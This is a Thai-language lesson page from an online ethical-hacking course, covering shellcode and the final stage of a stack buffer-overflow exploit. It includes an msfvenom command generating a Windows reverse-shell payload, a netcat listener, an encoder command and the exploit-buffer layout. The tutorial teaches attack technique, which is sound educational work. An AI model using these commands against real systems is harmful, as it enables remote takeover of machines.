เชลล์โค้ดและการโจมตีด้วยช่องโหว่
รับเชลล์
เชลล์โค้ดและการโจมตีด้วยช่องโหว่ เป็นบทเรียน Ethical Hacking Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Ethical Hacking Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Ethical Hacking Academy มีบทเรียนทั้งหมด 4 บทเรียน
เชลล์โค้ดคืออะไร
เชลล์โค้ด คือโค้ดเครื่องขนาดเล็กที่ทำงานบางอย่างเมื่อถูกเรียกใช้ โดยแบบคลาสสิกคือการเปิดเชลล์ เชลล์โค้ดเป็นเพย์โหลดที่คุณเปลี่ยนเส้นทางการทำงานไปหา หลังจากควบคุม EIP ได้แล้ว
เชลล์โค้ดเขียนเป็นไบต์ดิบ (รหัสคำสั่ง) เพื่อให้ฉีดเข้าสู่หน่วยความจำได้โดยตรง
ประเภทของเพย์โหลด
เป้าหมายทั่วไปของเพย์โหลด ได้แก่:
- Bind shell: เปิดพอร์ตที่รอรับการเชื่อมต่อบนเครื่องเหยื่อ
- Reverse shell: เชื่อมต่อกลับไปยังผู้โจมตี (ทำงานผ่านไฟร์วอลล์/NAT ได้ดีกว่า)
- Execute command: เรียกใช้คำสั่งเดียว เช่น การเพิ่มผู้ใช้
Reverse shell เป็นรูปแบบที่พบได้บ่อยที่สุดในการปฏิบัติงานจริง
การสร้างด้วย msfvenom
msfvenom ใช้สร้างเพย์โหลด คุณระบุประเภทเพย์โหลด แอดเดรสและพอร์ตของตัวรอรับ รูปแบบผลลัพธ์ และอักขระต้องห้ามที่ต้องหลีกเลี่ยง
แฟล็ก -b ใช้ตัดอักขระต้องห้ามออก ส่วน -f ใช้กำหนดรูปแบบผลลัพธ์
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f cเหตุใดจึงต้องเข้ารหัส
เชลล์โค้ดดิบมักมีอักขระต้องห้าม (เช่น ไบต์ว่าง) ตัวเข้ารหัสจะเปลี่ยนเพย์โหลดเพื่อหลีกเลี่ยงไบต์เหล่านั้น แล้วเติมส่วนถอดรหัสไว้ด้านหน้าเพื่อกู้คืนโค้ดเดิมขณะทำงาน
ตัวเข้ารหัสแบบคลาสสิกคือ x86/shikata_ga_nai
msfvenom ... -e x86/shikata_ga_nai -b "\x00"ตัวถอดรหัสและการแก้ไขตัวเอง
เชลล์โค้ดที่เข้ารหัสจะถอดรหัสตัวเองในหน่วยความจำก่อนทำงาน การแก้ไขตัวเองนี้ต้องใช้พื้นที่เผื่อเล็กน้อยบนสแตก จึงเป็นเหตุผลหนึ่งที่ราง NOP และพื้นที่บัฟเฟอร์ที่เพียงพอมีประโยชน์
บางครั้งคุณต้องปรับ ESP ก่อน เพื่อไม่ให้ตัวถอดรหัสเขียนทับโค้ดของตัวเอง
การประกอบการโจมตีขั้นสุดท้าย
บัฟเฟอร์การโจมตีที่สมบูรณ์ประกอบด้วย:
- ข้อมูลเติมจนถึงออฟเซ็ต
- แอดเดรสย้อนกลับ JMP ESP
- ราง NOP
- เชลล์โค้ดที่เข้ารหัส
ส่งข้อมูลนี้ไปยังข้อมูลนำเข้าที่มีช่องโหว่ แล้วการทำงานจะไหลเข้าสู่เพย์โหลดของคุณ
buf = "A"*offset + ret + "\x90"*16 + shellcodeการตั้งค่าตัวรับการเชื่อมต่อ
สำหรับรีเวิร์สเชลล์ คุณต้องเปิดรอการเชื่อมต่อบนเครื่องของคุณก่อนที่จะทริกเกอร์ช่องโหว่ ตัวรับการเชื่อมต่อ Netcat แบบง่ายจะรับการเชื่อมต่อขาเข้ามา
สำหรับเพย์โหลดแบบแบ่งระยะ ให้ใช้ multi/handler ของ Metasploit แทน
nc -lvnp 4444การทริกเกอร์ช่องโหว่
เมื่อตัวรับการเชื่อมต่อพร้อมแล้ว ให้ส่งบัฟเฟอร์ที่จัดเตรียมไว้ไปยังเป้าหมาย หากทุกอย่างลงตัว เชลล์โค้ดจะทำงาน และตัวรับการเชื่อมต่อของคุณจะได้รับเชลล์จากเครื่องเหยื่อ
ตอนนี้คุณสามารถสั่งให้ทำงานได้ด้วยสิทธิ์ของโพรเซสที่มีช่องโหว่
python exploit.py 10.0.0.20 9999การแก้ไขปัญหา
หากทำงานไม่สำเร็จ ให้ตรวจสอบสาเหตุที่พบบ่อยดังนี้:
- มี อักขระที่ไม่ถูกต้อง แทรกอยู่ในเชลล์โค้ดหรือที่อยู่ส่งคืน
- รางเลื่อน NOP สั้นเกินไป
- ตัวถอดรหัสมีพื้นที่บนสแตกไม่เพียงพอ (ให้ปรับ ESP)
- ออฟเซ็ต หรือเอนเดียนเนสไม่ถูกต้อง
การดีบักอย่างเป็นระบบในเครื่องมือดีบักจะช่วยแยกสาเหตุของปัญหาได้
นอกเหนือจากบัฟเฟอร์โอเวอร์โฟลว์แบบคลาสสิก
เมื่อเปิดใช้ DEP และ ASLR แล้ว เชลล์โค้ดธรรมดาบนสแตกจะไม่ทำงาน การโจมตีสมัยใหม่ใช้ Return-Oriented Programming (ROP) เพื่อเชื่อมต่อชุดคำสั่งที่มีอยู่เดิม และใช้การรั่วไหลของข้อมูลเพื่อเอาชนะ ASLR
หลักสูตรนี้สอนพื้นฐานที่เทคนิคขั้นสูงเหล่านั้นต่อยอดขึ้นมา
แบบแบ่งระยะเทียบกับแบบไม่แบ่งระยะ
เพย์โหลดมีอยู่สองรูปแบบ เพย์โหลดแบบไม่แบ่งระยะ มีเชลล์โค้ดทั้งหมดรวมอยู่ในก้อนข้อมูลเดียว ส่วน เพย์โหลดแบบแบ่งระยะ จะส่งสตับขนาดเล็กที่ดาวน์โหลดส่วนที่เหลือจากตัวจัดการของคุณ
เพย์โหลดแบบแบ่งระยะใช้พื้นที่ในบัฟเฟอร์น้อยกว่า แต่ต้องใช้ตัวจัดการที่เข้าคู่กัน เช่น multi/handler ของ Metasploit เพื่อส่งระยะที่สอง
ตรวจสอบอย่างรวดเร็ว
ลองทบทวนว่าเหตุใดเชลล์โค้ดจึงมักถูกเข้ารหัส
สรุปทบทวน
คุณดำเนินห่วงโซ่การโจมตีจนเสร็จสมบูรณ์แล้ว:
- เชลล์โค้ด คือเพย์โหลด โดยรีเวิร์สเชลล์ใช้งานได้จริงมากที่สุด
- สร้างและเข้ารหัสด้วย msfvenom เพื่อหลีกเลี่ยงอักขระที่ไม่ถูกต้อง
- ประกอบแพดดิ้ง + JMP ESP + รางเลื่อน NOP + เชลล์โค้ด จากนั้นเริ่มตัวรับการเชื่อมต่อและทริกเกอร์การโจมตี
- เป้าหมายสมัยใหม่ต้องใช้ ROP และการรั่วไหลของข้อมูลเพื่อเอาชนะ DEP/ASLR
คุณเรียนจบหลักสูตรการโจมตีด้วยบัฟเฟอร์โอเวอร์โฟลว์แล้ว
คำถามที่พบบ่อย
บทเรียน “เชลล์โค้ดและการโจมตีด้วยช่องโหว่” ฟรีหรือไม่
ใช่ — ข้อความเต็มของ “เชลล์โค้ดและการโจมตีด้วยช่องโหว่” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Ethical Hacking Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Ethical Hacking Academy มีบทเรียนทั้งหมด 4 บทเรียน
คุณจะเรียนรู้อะไรในบทเรียน “เชลล์โค้ดและการโจมตีด้วยช่องโหว่”
รับเชลล์ คุณปฏิบัติ Ethical Hacking Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน
คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Ethical Hacking Academy หรือไม่
ไม่จำเป็นต้องมีประสบการณ์มาก่อน Ethical Hacking Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน
บทเรียน “เชลล์โค้ดและการโจมตีด้วยช่องโหว่” ใช้เวลานานแค่ไหน
บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย
ฉันเขียนและรันโค้ดในบทเรียน Ethical Hacking Academy นี้ได้ไหม
ได้ บทเรียน Ethical Hacking Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ
บทเรียนทั้งหมดในหลักสูตรนี้
- หน่วยความจำและสแตก
- การทำ fuzz เพื่อค้นหาการล่ม
- การควบคุม EIP
- เชลล์โค้ดและการโจมตีด้วยช่องโหว่